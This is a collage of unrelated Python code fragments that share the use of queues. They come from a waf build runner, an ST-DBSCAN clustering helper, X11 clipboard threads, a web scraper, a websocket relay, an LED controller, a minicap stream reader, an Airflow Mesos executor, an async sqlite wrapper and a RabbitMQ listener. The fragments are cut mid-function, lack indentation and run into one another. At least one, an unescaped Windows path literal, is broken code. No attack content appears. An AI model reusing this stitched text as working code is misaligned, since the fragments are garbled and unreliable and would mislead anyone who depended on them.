# TODO waf 1.7 this piece of code should go in the error_handler
tsk.err_msg = Utils.ex_stack()
if not self.stop and self.bld.keep:
tsk.hasrun = Task.SKIPPED
if self.bld.keep == 1:
# if -k stop at the first exception, if -kk try to go as far as possible
if Logs.verbose > 1 or not self.error:
self.error.append(tsk)
self.stop = True
else:
if Logs.verbose > 1:
self.error.append(tsk)
continue
tsk.hasrun = Task.EXCEPTION
self.error_handler(tsk)
continue
if st == Task.ASK_LATER:
self.postpone(tsk)
elif st == Task.SKIP_ME:
self.processed += 1
tsk.hasrun = Task.SKIPPED
self.add_more_tasks(tsk)
else:
# run me: put the task in ready queue
tsk.position = (self.processed, self.total)
self.count += 1
tsk.master = self
self.processed += 1
if self.numjobs == 1 or self.bld.options.file_filter != '':
tsk.process()
else:
self.add_task(tsk)
# self.count represents the tasks that have been made available to the consumer threads
# collect all the tasks after an error else the message may be incomplete
while self.error and self.count:
self.get_out()
#print loop
assert (self.count == 0 or self.stop)
# free the task pool, if any
self.free_task_pool()
pass
def loop(self):
"""
Obtain tasks from :py:attr:`waflib.Runner.TaskConsumer.ready` and call
:py:meth:`waflib.Task.TaskBase.process`. If the object is a function, execute it.
"""
while 1:
tsk = self.ready.get()
if not isinstance(tsk, Task.TaskBase):
tsk(self)
else:
tsk.process()
pool = Queue()
"""
Pool of task consumer objects
"""
def get_pool():
"""
Obtain a task consumer from :py:attr:`waflib.Runner.pool`.
Do not forget to put it back by using :py:func:`waflib.Runner.put_pool`
and reset properly (original waiting queue).
:rtype: :py:class:`waflib.Runner.TaskConsumer`
"""
try:
return pool.get(False)
def grow_cluster_st(
D_spatial: ndarray,
D_temporal: ndarray,
labels: ndarray,
set_neighbours: set,
label_cluster: int,
eps_spatial: float,
eps_temporal: float,
min_pts: int,
) -> None:
"""
Grow a cluster starting from a seed point.
Parameters
----------
D_spatial : (N, N) ndarray
Matrix of distances between points.
D_temporal : (N, N) ndarray
Matrix of distances between times.
labels : (N,) ndarray
Array of cluster labels.
set_neighbours : set
Set of indices for neighbours of the seed point.
label_cluster : int
Label of the current cluster.
eps_spatial : float
Maximum distance between two points for one to be
considered in the neighbourhood of the other.
eps_temporal : float
Maximum distance between two times for one to be
considered in the neighbourhood of the other.
min_pts : int
Number of points in a neighbourhood for a point to be considered
a core point.
Examples
--------
>>> points = [[0, 0], [1, 0], [2, 0], [0, 5], [1, 5], [2, 5]]
>>> idx_pt, label = 0, 1
>>> eps_spatial, eps_temporal, min_pts = 1, 1, 2
>>> D_spatial = cdist(points, points)
>>> D_temporal = np.zeros_like(D_spatial)
>>> labels = np.zeros(len(points))
>>> set_neighbours = region_query_st(D_spatial, D_temporal, eps_spatial, eps_temporal, idx_pt)
>>> grow_cluster_st(D_spatial, D_temporal, labels, set_neighbours, label, eps_spatial, eps_temporal, min_pts)
>>> labels
array([1., 1., 1., 0., 0., 0.])
"""
# Initialize a queue with the current neighbourhood.
queue_search: Any = Queue()
for i in set_neighbours:
queue_search.put(i)
while not queue_search.empty():
# Consider the next point in the queue.
idx_next = queue_search.get()
label_next = labels[idx_next]
if label_next == -1:
# This neighbour was labelled as noise.
# It is now a border point of the cluster.
labels[idx_next] = label_cluster
elif label_next == 0:
# The neighbour was unclaimed.
# Add the next point to the cluster.
labels[idx_next] = label_cluster
set_neighbours_next = region_query_st(
D_spatial, D_temporal, eps_spatial, eps_temporal, idx_next
)
if len(set_neighbours_next) >= min_pts:
# The next point is a core point.
# Add its neighbourhood to the queue to be searched.
for i in set_neighbours_next:
queue_search.put(i)
class XGetter(Thread):
def __init__(self, selection='CLIPBOARD'):
super().__init__(name='klembord XGetter', daemon=True)
self.selection = selection
self._break = False
self.inbox = Queue()
self.initX()
self.start()
def initX(self):
self.display = display.Display()
# ATOMS
self.SELECTION = self.display.intern_atom(self.selection)
self.window = self.display.screen().root.create_window(
0, 0, 1, 1, 0, X.CopyFromParent)
self.window.set_wm_name('klembord XGetter window')
def killX(self):
self.window.destroy()
self.display.close()
def processEvent(self, xevent):
try:
target = self.display.get_atom_name(xevent.target)
except BadAtom as e:
ErrorReporter.print(e)
return
if target == 'TARGETS':
try:
target_atoms = self.window.get_full_property(
xevent.target, Xatom.ATOM).value
except Exception as e:
ErrorReporter.print(e)
return
data = []
for atom in target_atoms:
try:
data.append(self.display.get_atom_name(atom))
except BadAtom as e:
ErrorReporter.print(e)
data = tuple(data)
else:
try:
prop = self.window.get_full_property(xevent.target,
xevent.target)
except Exception as e:
ErrorReporter.print(e)
return
if prop:
data = prop.value
if isinstance(data, str):
data = data.encode()
else:
data = bytes(data)
else:
data = None
self.inbox.put_nowait((target, data))
def run(self):
while True:
if self._break:
self.killX()
break
if self.display.pending_events():
xevent = self.display.next_event()
if (xevent.type == X.SelectionNotify
and xevent.selection == self.SELECTION
and xevent.requestor == self.window):
self.processEvent(xevent)
time.sleep(0.005)
def get(self, targets):
content = {}
try:
self.display.flush()
except Exception as e:
ErrorReporter.print(e)
raise BrokenConnection('Flushing events failed') from e
try:
owner = self.display.get_selection_owner(self.SELECTION)
except BadAtom as e:
ErrorReporter.print(e)
raise BrokenConnection('Bad selection atom') from e
if owner != X.NONE:
for target in targets:
target_atom = self.display.intern_atom(target)
selection_request = event.SelectionRequest(
owner=owner,
requestor=self.window,
selection=self.SELECTION,
target=target_atom,
property=target_atom,
time=X.CurrentTime,
)
owner.send_event(selection_request, onerror=errHandler)
try:
self.display.flush()
except Exception as e:
ErrorReporter.print(e)
raise BrokenConnection('Flushing events failed') from e
if errHandler.get_error():
raise BrokenConnection('Sending event failed')
now = time.monotonic()
while self.inbox.empty():
if (time.monotonic() - now) >= 0.05:
break
time.sleep(0.005)
now = time.monotonic()
while not self.inbox.empty():
if (time.monotonic() - now) >= 0.05:
break
try:
target, data = self.inbox.get_nowait()
self.inbox.task_done()
except Empty:
break
content[target] = data
for target in targets:
if target not in content:
content[target] = None
return content
def exit(self):
self._break = True
# self.join()
time.sleep(0.005)
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36',
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"
]
print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))
f = open("job_update.txt", "w+", encoding="utf-8")
f.write(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + '\n')
f.close()
fp = open("job_update.txt", "a+", encoding="utf-8")
q = cursor_query()
jobs_queue = Queue()
save_num = 0
pool = MyThreadPool()
pool.addthread(queue=q, size=18,func=get_job_detail)
pool.addthread(queue=jobs_queue, size=1,func=insertDB)
pool.startAll()
pool.joinAll()
db_urllist.close()
print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'), "结束")
for client in clients:
client.sendMessage(item)
time.sleep(3)
except Queue.Empty:
pass
def handleConnected(self):
print("Client joined")
clients.append(self)
def handleClose(self):
print("Client Left")
clients.remove(self)
q = Queue()
thread1 = twitterThread(1, q)
thread1.start()
server = SimpleWebSocketServer('', 8888, SimpleSocket(q))
server.serveforever()
# ----------------------------------------------------------------------------------------------------------------------
# class clientThread (threading.Thread):
# def __init__(self, threadID):
# threading.Thread.__init__(self)
# self.threadID = threadID
# def run(self):
# import asyncio
# import websockets
from datetime import datetime
from datetime import timedelta
def keyboardInterruptHandler(signum, frame):
logger = logging.getLogger()
logger.info('\nKeyboard Interrupt\n')
sys.exit(0)
signal.signal(signal.SIGINT, keyboardInterruptHandler)
# configure logging
format = '%(levelname)s - %(pathname)s - %(lineno)s - %(asctime)s - %(message)s'
logging.basicConfig(level=logging.DEBUG, format=format)
logging.captureWarnings(True)
telnet_lock = Lock()
pypoPush_q = Queue()
pypoLiq_q = Queue()
liq_queue_tracker = {
"s0": None,
"s1": None,
"s2": None,
"s3": None,
}
#dummy_telnet_liquidsoap = DummyTelnetLiquidsoap(telnet_lock, logging)
dummy_telnet_liquidsoap = TelnetLiquidsoap(telnet_lock, logging, \
"localhost", \
1234)
class RGBLed():
def __init__(self, data_pin, pixel_count, state=None):
print("RGB_INIT")
self._pixels = neopixel.NeoPixel(data_pin, pixel_count)
self._pixels.brightness = 0
self._color = (0, 0, 0)
self._brightness_queue = Queue(0)
self._color_queue = Queue(0)
self._transition_thread = None
self._brightness_thread = None
self._max_brightness = 0.7
self._doc = None
if (state):
self.set_state(state)
@property
def brightness(self):
return self._pixels.brightness
@brightness.setter
def brightness(self, target_brightness=None):
if target_brightness is None:
return
if (self._pixels.brightness == target_brightness):
return
if target_brightness > self._max_brightness:
target_brightness = self._max_brightness
if target_brightness < 0:
target_brightness = 0
try:
self._brightness_queue.put(target_brightness)
except queue.Full as error:
print(error)
if not (self._brightness_thread and self._brightness_thread.is_alive()):
self._brightness_thread = threading.Thread(
target=self._change_brightness, daemon=True)
self._brightness_thread.start()
# print("Brightness target: ", target_brightness)
# self._brightness_thread = threading.Thread(
# target=self._change_brightness, args=(self._pixels.brightness, target_brightness))
# self._brightness_thread.start()
@property
def color(self):
return self._color
@color.setter
def color(self, target_color=None):
if target_color is None:
return
if not isinstance(target_color, tuple):
target_color = self._hex_to_rgb(target_color)
if (self._color == target_color):
return
try:
self._color_queue.put(target_color)
except queue.Full as error:
print(error)
if not (self._transition_thread and self._transition_thread.is_alive()):
self._transition_thread = threading.Thread(
target=self._change_color, daemon=True)
self._transition_thread.start()
def _hex_to_rgb(self, hex):
h = hex.lstrip('#')
return tuple(int(h[i:i+2], 16) for i in (0, 2, 4))
def _change_color(self):
while not self._color_queue.empty():
color_from = self._color
target_color = self._color_queue.get()
colors = np.int_(np.linspace(color_from, target_color, 100))
for color in colors:
self._pixels.fill(tuple(color))
self._color = tuple(color)
sleep(0.005)
self._color_queue.task_done()
return
def _change_brightness(self):
while not self._brightness_queue.empty():
target_brightness = self._brightness_queue.get()
brightness_from = self._pixels.brightness,
brightness_space = np.linspace(
brightness_from, target_brightness, 50)
for brightness in brightness_space:
self._pixels.brightness = brightness[0]
sleep(0.005)
self._brightness_queue.task_done()
return
def set_state(self, state, document):
print("SETTING STATE>>", state['color']['spectrumRgb'])
if state['color']['spectrumRgb'] != None:
self.color = self._hex_to_rgb(state['color']['spectrumRgb'])
if 'on' in state:
if state['on'] == False:
self.brightness = 0
return
if state['brightness'] != None:
self.brightness = state['brightness']/100*self._max_brightness
if document:
self._doc = document
class XSetter(Thread):
def __init__(self, selection='CLIPBOARD', reset=None):
super().__init__(name='klembord XSetter', daemon=True)
self.selection = selection
self.reset = reset
self._break = False
self.save_targets = []
self.outbox = Queue()
self.requests = Queue()
self.content_set = False
self.initX()
self.eventLoop = Thread(
target=self.processEvents,
name='klembord XSetter event loop',
daemon=True,
)
self.start()
self.eventLoop.start()
def initX(self):
self.display = display.Display()
# ATOMS
self.SELECTION = self.display.intern_atom(self.selection)
self.TARGETS = self.display.intern_atom('TARGETS')
self.SAVE_TARGETS = self.display.intern_atom('SAVE_TARGETS')
self.CLIPBOARD_MANAGER = self.display.intern_atom('CLIPBOARD_MANAGER')
self.ST_PROPERTY = self.display.intern_atom('KLEMBORD_SELECTION')
self.MULTIPLE = self.display.intern_atom('MULTIPLE')
self.window = self.display.screen().root.create_window(
0, 0, 1, 1, 0, X.CopyFromParent)
self.window.set_wm_name('klembord XSetter')
self.selection_clear = event.SelectionClear(
window=self.window,
atom=self.SELECTION,
time=X.CurrentTime,
)
def killX(self):
self.window.destroy()
self.display.close()
def run(self):
def serve():
while True:
xevent = self.requests.get()
self.requests.task_done()
if xevent is None:
break
elif xevent.type == X.SelectionRequest:
client_prop = process_request(xevent.requestor,
xevent.property,
xevent.target)
selection_notify = event.SelectionNotify(
time=xevent.time,
requestor=xevent.requestor,
selection=xevent.selection,
target=xevent.target,
property=client_prop,
)
xevent.requestor.send_event(selection_notify,
onerror=errHandler)
try:
self.display.flush()
except Exception as e:
ErrorReporter.print(e)
self.reset()
break
elif xevent.type == X.SelectionClear:
while not self.requests.empty():
try:
self.requests.get_nowait()
self.requests.task_done()
except Empty:
break
self.content_set = False
break
elif xevent.type == X.SelectionNotify and xevent.property == X.NONE:
print('Failed to transfer ownership to Clipboard Manager',
file=sys.stderr)
break
def process_request(client, property, target):
prop_set = True
if property == X.NONE:
client_prop = target
else:
client_prop = property
if target == self.TARGETS:
prop_value = [self.TARGETS, self.SAVE_TARGETS]
prop_value += [t for t, data in content.items() if data]
prop_type = Xatom.ATOM
prop_format = 32
elif target in content:
data = content[target]
if isinstance(data, str):
prop_value = data.encode()
elif isinstance(data, ByteString):
prop_value = data
else:
client_prop = X.NONE
prop_type = target
prop_format = 8
elif target == self.MULTIPLE:
try:
wanted_prop = client.get_full_property(
client_prop, X.AnyPropertyType)
except Exception as e:
ErrorReporter.print(e)
self.reset()
return
if wanted_prop:
wanted = [
wanted_prop.value[i:i + 2]
for i in range(0, len(wanted_prop.value), 2)
]
for target, prop in wanted:
process_request(client, prop, target)
prop_set = False
else:
client_prop = X.NONE
else:
client_prop = X.NONE
if client_prop != X.NONE and prop_set:
client.change_property(
client_prop,
prop_type,
prop_format,
prop_value,
onerror=errHandler,
)
try:
self.display.flush()
except Exception as e:
ErrorReporter.print(e)
self.reset()
return
if errHandler.get_error():
self.reset()
return
return client_prop
while True:
content = self.outbox.get()
self.outbox.task_done()
if content is None:
break
self.content_set = True
self.window.set_selection_owner(self.SELECTION,
X.CurrentTime,
onerror=errHandler)
try:
self.display.flush()
except Exception as e:
ErrorReporter.print(e)
self.reset()
break
if errHandler.get_error():
self.reset()
break
try:
current_owner = self.display.get_selection_owner(
self.SELECTION)
except (BadAtom, RuntimeError, TypeError) as e:
ErrorReporter.print(e)
self.reset()
break
if current_owner == self.window:
server = Thread(target=serve,
name='klembord XSetter server',
daemon=True)
server.start()
def processEvents(self):
while True:
if self._break:
self.killX()
break
try:
if self.display.pending_events():
xevent = self.display.next_event()
if (xevent.type == X.SelectionRequest
and xevent.owner == self.window
and xevent.selection == self.SELECTION):
self.requests.put_nowait(xevent)
elif (xevent.type == X.SelectionClear
and xevent.window == self.window
and xevent.atom == self.SELECTION):
self.requests.put_nowait(xevent)
elif (xevent.type == X.SelectionNotify
and xevent.selection == self.CLIPBOARD_MANAGER
and xevent.target == self.SAVE_TARGETS):
self.requests.put_nowait(xevent)
time.sleep(0.005)
except Exception as e:
ErrorReporter.print(e)
self.reset()
break
def set(self, content):
self.save_targets.clear()
content_atoms = {}
for target, data in content.items():
if not isinstance(data, (str, ByteString, type(None))):
raise TypeError('Unsupported data type:\n{}'.format(
repr(data)))
with ThreadingTimeout(0.05) as timeout:
try:
target_atom = self.display.intern_atom(target)
except RuntimeError as e:
ErrorReporter.print(e)
raise BrokenConnection('Failed to intern atom') from e
if timeout.state == timeout.TIMED_OUT:
raise BrokenConnection('Interning atoms timed out')
if data:
self.save_targets.append(target_atom)
content_atoms[target_atom] = data
if self.content_set:
with ThreadingTimeout(0.05) as timeout:
self.window.send_event(self.selection_clear,
onerror=errHandler)
try:
self.display.flush()
except Exception as e:
ErrorReporter.print(e)
raise BrokenConnection('Failed to flush events') from e
if errHandler.get_error():
raise BrokenConnection('Failed to send events')
if timeout.state == timeout.TIMED_OUT:
raise BrokenConnection('Sending event timed out')
self.outbox.put_nowait(content_atoms)
def store(self):
if self.content_set:
try:
clipboardManager = self.display.get_selection_owner(
self.CLIPBOARD_MANAGER)
except BadAtom as e:
ErrorReporter.print(e)
raise BrokenConnection('Broken Clipboard Manager atom') from e
if clipboardManager != X.NONE:
self.window.change_property(
self.ST_PROPERTY,
Xatom.ATOM,
32,
self.save_targets,
onerror=errHandler,
)
try:
self.display.flush()
except Exception as e:
ErrorReporter.print(e)
raise BrokenConnection('Failed to flush events') from e
if errHandler.get_error():
raise BrokenConnection('Failed to change window property')
self.window.convert_selection(
self.CLIPBOARD_MANAGER,
self.SAVE_TARGETS,
self.ST_PROPERTY,
X.CurrentTime,
onerror=errHandler,
)
try:
self.display.flush()
except Exception as e:
ErrorReporter.print(e)
raise BrokenConnection('Failed to flush events') from e
if errHandler.get_error():
raise BrokenConnection('Failed to convert selection')
self.save_targets.clear()
def clear(self):
self.save_targets.clear()
self.content_set = True
self.outbox.put_nowait({})
self.window.send_event(self.selection_clear, onerror=errHandler)
try:
self.display.flush()
except Exception as e:
ErrorReporter.print(e)
raise BrokenConnection('Failed to flush events') from e
if errHandler.get_error():
raise BrokenConnection('Failed to send events')
def exit(self):
self._break = True
self.outbox.put_nowait(None)
self.requests.put_nowait(None)
# self.join()
# self.eventLoop.join()
time.sleep(0.005)
# -*- coding: utf-8 -*-
import socket
import threading
import sys
import subprocess
import os
from datetime import datetime
import cv2
import numpy as np
import math
from queue import Queue
from time import sleep
import time
import pandas as pd
queue = Queue() #쓰레드간 작업 공유, 서버와 opencv 쓰레드 간의 데이터 공유
dis_queue = Queue() # 거리 계산 쓰레드와 opencv 쓰레드 사이 대기 큐
s_queue = Queue() # 거리 계산 쓰레드와 서버 쓰레드 사이의 데이터 공유
camera_queue = Queue() # 소켓통신 쓰레드로부터 카메라 각도 정보를 받아오는 큐
# value_queue = Queue() # 거리 계산 시 필요한 x,y 픽셀값 공유
df = pd.read_excel(
'C:\Users\JJungs\Documents\GitHub\Senior_Project_Konkuk\FinalProject\distance.xlsx'
) #거리 데이터 정보 데이터프레임 생성
def mouse_callback(event, x, y, flags, param):
if event == cv2.EVENT_RBUTTONDOWN:
my_str = "Back"
queue.put(my_str)
class MinicapStream(object):
__instance = None
__mutex = threading.Lock()
def __init__(self, ip, port):
self.IP = ip
self.PORT = int(port)
self.PID = 0
self.banner = Banner()
self.minicap_socket = None
self.read_image_stream_task = None
self.push = None
self.picture = Queue()
self.__flag = True
@staticmethod
def get_builder(ip="127.0.0.1", port=1313):
if (MinicapStream.__instance == None):
MinicapStream.__mutex.acquire()
if (MinicapStream.__instance == None):
MinicapStream.__instance = MinicapStream(ip, port)
MinicapStream.__mutex.release()
return MinicapStream.__instance
def get_ip(self):
return self.IP
def get_port(self):
return self.PORT
def get_queue(self):
return self.picture
def get_d(self):
return self.picture.qsize()
def start(self):
self.minicap_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.minicap_socket.connect((self.IP, self.PORT))
self.read_image_stream_task = threading.Thread(
target=self.read_image_stream).start()
def finish(self):
self.__flag = False
def read_image_stream(self):
read_banner_bytes = 0
banner_length = 2
read_frame_bytes = 0
frame_body_length = 0
data_body = bytearray(b'')
counter = 0
while self.__flag:
# L.info("Picture Queue : %s" % (self.get_d()))
reallen = self.minicap_socket.recv(4096)
length = len(reallen)
if not length: continue
cursor = 0
while cursor < length:
if read_banner_bytes < banner_length:
if read_banner_bytes == 0:
self.banner.version = bytes_to_int(reallen[cursor])
elif read_banner_bytes == 1:
banner_length = bytes_to_int(reallen[cursor])
self.banner.length = banner_length
elif read_banner_bytes in [2, 3, 4, 5]:
self.banner.pid += (bytes_to_int(reallen[cursor]) <<
((read_banner_bytes - 2) * 8)) >> 0
elif read_banner_bytes in [6, 7, 8, 9]:
self.banner.real_width += (
bytes_to_int(reallen[cursor]) <<
((read_banner_bytes - 6) * 8)) >> 0
elif read_banner_bytes in [10, 11, 12, 13]:
self.banner.real_height += (
bytes_to_int(reallen[cursor]) <<
((read_banner_bytes - 10) * 8)) >> 0
elif read_banner_bytes in [14, 15, 16, 17]:
self.banner.virtual_width += (
bytes_to_int(reallen[cursor]) <<
((read_banner_bytes - 14) * 8)) >> 0
elif read_banner_bytes in [18, 19, 20, 21]:
self.banner.virtual_height += (
bytes_to_int(reallen[cursor]) <<
((read_banner_bytes - 18) * 8)) >> 0
elif read_banner_bytes == 22:
self.banner.orientation = bytes_to_int(
reallen[cursor]) * 90
elif read_banner_bytes == 23:
self.banner.quirks = bytes_to_int(reallen[cursor])
cursor += 1
read_banner_bytes += 1
if read_banner_bytes == banner_length:
L.debug(self.banner)
elif read_frame_bytes < 4:
frame_body_length = frame_body_length + (
(bytes_to_int(reallen[cursor]) <<
(read_frame_bytes * 8)) >> 0)
cursor += 1
read_frame_bytes += 1
else:
if length - cursor >= frame_body_length:
data_body = data_body + reallen[cursor:(
cursor + frame_body_length)]
if bytes_to_int(data_body[0]) != 0xFF or bytes_to_int(
data_body[1]) != 0xD8:
return
self.picture.put(data_body)
if self.get_d() > MAX_SIZE: self.picture.get()
cursor += frame_body_length
frame_body_length = 0
read_frame_bytes = 0
data_body = bytearray(b'')
counter += 1
else:
data_body = data_body + reallen[cursor:length]
frame_body_length -= length - cursor
read_frame_bytes += length - cursor
cursor = length
class MesosExecutor(BaseExecutor, LoginMixin):
"""
MesosExecutor allows distributing the execution of task
instances to multiple mesos workers.
Apache Mesos is a distributed systems kernel which abstracts
CPU, memory, storage, and other compute resources away from
machines (physical or virtual), enabling fault-tolerant and
elastic distributed systems to easily be built and run effectively.
See http://mesos.apache.org/
"""
def start(self):
self.task_queue = Queue()
self.result_queue = Queue()
framework = mesos_pb2.FrameworkInfo()
framework.user = ''
if not configuration.get('mesos', 'MASTER'):
self.log.error("Expecting mesos master URL for mesos executor")
raise AirflowException(
"mesos.master not provided for mesos executor")
master = configuration.get('mesos', 'MASTER')
framework.name = get_framework_name()
if not configuration.get('mesos', 'TASK_CPU'):
task_cpu = 1
else:
task_cpu = configuration.getint('mesos', 'TASK_CPU')
if not configuration.get('mesos', 'TASK_MEMORY'):
task_memory = 256
else:
task_memory = configuration.getint('mesos', 'TASK_MEMORY')
if configuration.getboolean('mesos', 'CHECKPOINT'):
framework.checkpoint = True
if configuration.get('mesos', 'FAILOVER_TIMEOUT'):
# Import here to work around a circular import error
from airflow.models import Connection
# Query the database to get the ID of the Mesos Framework, if available.
conn_id = FRAMEWORK_CONNID_PREFIX + framework.name
session = Session()
connection = session.query(Connection).filter_by(
conn_id=conn_id).first()
if connection is not None:
# Set the Framework ID to let the scheduler reconnect with running tasks.
framework.id.value = connection.extra
framework.failover_timeout = configuration.getint(
'mesos', 'FAILOVER_TIMEOUT')
else:
framework.checkpoint = False
self.log.info(
'MesosFramework master : %s, name : %s, cpu : %s, mem : %s, checkpoint : %s',
master, framework.name, str(task_cpu), str(task_memory),
str(framework.checkpoint))
implicit_acknowledgements = 1
if configuration.getboolean('mesos', 'AUTHENTICATE'):
if not configuration.get('mesos', 'DEFAULT_PRINCIPAL'):
self.log.error(
"Expecting authentication principal in the environment")
raise AirflowException(
"mesos.default_principal not provided in authenticated mode"
)
if not configuration.get('mesos', 'DEFAULT_SECRET'):
self.log.error(
"Expecting authentication secret in the environment")
raise AirflowException(
"mesos.default_secret not provided in authenticated mode")
credential = mesos_pb2.Credential()
credential.principal = configuration.get('mesos',
'DEFAULT_PRINCIPAL')
credential.secret = configuration.get('mesos', 'DEFAULT_SECRET')
framework.principal = credential.principal
driver = mesos.native.MesosSchedulerDriver(
AirflowMesosScheduler(self.task_queue, self.result_queue,
task_cpu, task_memory), framework,
master, implicit_acknowledgements, credential)
else:
framework.principal = 'Airflow'
driver = mesos.native.MesosSchedulerDriver(
AirflowMesosScheduler(self.task_queue, self.result_queue,
task_cpu, task_memory), framework,
master, implicit_acknowledgements)
self.mesos_driver = driver
self.mesos_driver.start()
def execute_async(self, key, command, queue=None):
self.task_queue.put((key, command))
def sync(self):
while not self.result_queue.empty():
results = self.result_queue.get()
self.change_state(*results)
def end(self):
self.task_queue.join()
self.mesos_driver.stop()
class Connection:
"""
proxy sqlite3.connection
"""
def __init__(
self,
database,
loop=None,
executor=None,
timeout=5,
echo=False,
check_same_thread=False,
isolation_level='',
sqlite=sqlite3,
**kwargs
):
if check_same_thread:
logger.warning(
'check_same_thread is True '
'sqlite on one Thread run'
)
self._sqlite = sqlite
self._database = database
self._loop = loop or asyncio.get_event_loop()
self._kwargs = kwargs
self._executor = executor
self._echo = echo
self._timeout = timeout
self._isolation_level = isolation_level
self._check_same_thread = check_same_thread
self._conn = None
self._closed = False
if check_same_thread:
self._thread_lock = asyncio.Lock(loop=loop)
self.tx_queue = Queue()
self.rx_queue = Queue()
self.tx_event = Event()
self.rx_event = Event()
self._thread = SqliteThread(
self.tx_queue,
self.rx_queue,
self.tx_event,
self.rx_event
)
self._thread.start()
self._threading = True
else:
self._thread = None
self._threading = False
def __enter__(self):
"""
普通上下文处理
"""
return self
def __exit__(self, exc_type, exc, tbs):
"""
普通上下文处理
"""
self._loop.call_soon_threadsafe(self.close)
def _log(self, level, message, *args):
"""
日志处理
"""
if self._echo:
log_fun = getattr(logger, level)
log_fun(message, *args)
@asyncio.coroutine
def _execute(self, func, *args, **kwargs):
"""
把同步转为async运行
"""
if self._closed:
raise TypeError('connection is close')
func = partial(func, *args, **kwargs)
if self._check_same_thread:
future = yield from self._async_thread_execute(func)
else:
future = yield from self._loop.run_in_executor(
self._executor,
func
)
return future
@asyncio.coroutine
def async_execute(self, func, *args, **kwargs):
"""
把同步转为async运行
"""
return (yield from self._execute(func, *args, **kwargs))
def sync_execute(self, func, *args, **kwargs):
"""
同步执行方法
"""
if self._closed:
raise TypeError('connection is close')
func = partial(func, *args, **kwargs)
if self._check_same_thread:
return self._thread_execute(func)
return func()
@asyncio.coroutine
def _close_thread(self):
future = yield from self._async_thread_execute('close')
self._threading = False
self._thread = None
return future
@asyncio.coroutine
def _async_thread_execute(self, func):
"""
通过asyncio的锁每次只执行一个
"""
with (yield from self._thread_lock):
func = partial(self._thread_execute, func)
future = yield from self._loop.run_in_executor(
self._executor,
func
)
return future
def _thread_execute(self, func):
"""
通知线程执行任务
"""
self.tx_queue.put(func)
self.tx_event.set()
self.rx_event.wait()
self.rx_event.clear()
result = self.rx_queue.get_nowait()
if isinstance(result, Exception):
# pragma: no cover
raise result
return result
@asyncio.coroutine
def _connect(self):
"""
async连接，必须使用多线程模式
"""
func = yield from self._execute(
self._sqlite.connect,
self._database,
timeout=self._timeout,
isolation_level=self._isolation_level,
check_same_thread=self._check_same_thread,
**self._kwargs
)
self._conn = func
self._log(
'debug',
'connect-> "%s" ok',
self._database
)
@asyncio.coroutine
def connect(self):
"""
connect
"""
return (yield from self._connect())
@property
def echo(self):
"""
日志输出开关
"""
return self._echo
@property
def loop(self):
"""
连接使用的loop
"""
return self._loop
@property
def timeout(self):
"""
超时时间
"""
return self._timeout
@property
def closed(self):
"""
是否已关闭连接
"""
return self._closed
@property
def autocommit(self):
"""
是否为自动commit
"""
return self._conn.isolation_level is None
@property
def isolation_level(self):
"""
智能,自动commit
"""
return self._conn.isolation_level
@isolation_level.setter
def isolation_level(self, value: str) -> None:
"""
事物等级
"""
if self._check_same_thread:
func = partial(self._sync_setter, 'isolation_level', value)
self._thread_execute(func)
else:
self._conn.isolation_level = value
@property
def row_factory(self):
"""
row_factory
"""
return self._conn.row_factory
def _sync_setter(self, field, value):
"""
同步设置属性
"""
setattr(self._conn, field, value)
@row_factory.setter
def row_factory(self, value):
"""
set row_factory
"""
if self._check_same_thread:
func = partial(self._sync_setter, 'row_factory', value)
self._thread_execute(func)
else:
self._conn.row_factory = value
@property
def text_factory(self):
"""
text_factory
"""
return self._conn.text_factory
@text_factory.setter
def text_factory(self, value):
"""
set text_factory
"""
if self._check_same_thread:
func = partial(self._sync_setter, 'text_factory', value)
self._thread_execute(func)
else:
self._conn.text_factory = value
def _create_cursor(self, cursor):
"""
创建代理cursor
"""
return Cursor(cursor, self, self._echo)
def _create_context_cursor(self, coro):
"""
创建支持await上下文cursor
"""
return _LazyloadContextManager(coro, self._create_cursor)
def cursor(self):
"""
转换为上下文模式
"""
coro = self._execute(self._conn.cursor)
return self._create_context_cursor(coro)
@asyncio.coroutine
def close(self):
"""
关闭
"""
if self._closed or self._conn is None:
return
yield from self._execute(self._conn.close)
if self._check_same_thread:
yield from self._close_thread()
self._thread = None
self._closed = True
self._log(
'debug',
'close-> "%s" ok',
self._database
)
def execute(
self,
sql,
parameters=None,
):
"""
Helper to create a cursor and execute the given query.
"""
self._log(
'info',
'connection.execute->\n sql: %s\n args: %s',
sql,
str(parameters)
)
if parameters is None:
parameters = []
coro = self._execute(self._conn.execute, sql, parameters)
return self._create_context_cursor(coro)
@asyncio.coroutine
def executemany(
self,
sql,
parameters,
):
"""
Helper to create a cursor and execute the given multiquery.
"""
self._log(
'info',
'connection.executemany->\n sql: %s\n args: %s',
sql,
str(parameters)
)
coro = self._execute(
self._conn.executemany,
sql,
parameters
)
return self._create_context_cursor(coro)
def executescript(
self,
sql_script,
):
"""
Helper to create a cursor and execute a user script.
"""
self._log(
'info',
'connection.executescript->\n sql_script: %s',
sql_script
)
coro = self._execute(
self._conn.executescript,
sql_script
)
return self._create_context_cursor(coro)
def sync_close(self):
"""
同步关闭连接
"""
self.__del__()
def __del__(self):
"""
关闭连接清理线程
"""
if not self._closed:
if self._check_same_thread:
if self._thread:
self._thread_execute(self._conn.close)
self._thread_execute('close')
self._thread = None
self._thread_lock = None
self.tx_queue = None
self.rx_queue = None
self.tx_event = None
self.rx_event = None
else:
# pragma: no cover
pass
else:
self._conn.close()
self._conn = None
self._sqlite = None
database = self._database
self._database = None
self._loop = None
self._kwargs = None
self._executor = None
self._closed = True
self._log(
'debug',
'__del__ close-> "%s" ok',
database
)
class RabbitMQListener:
def __init__(
self, rmq_config, binding_keys=("com.#.InstrumentMessage",),
tick_dict=ALPHAMONGO_TICK_DICT, message_queue=None, watch_symbols=None, logger=None, test_mode=False
):
self._host = rmq_config['host']
self._port = int(rmq_config['port'])
self._user = rmq_config['user']
self._password = rmq_config['password']
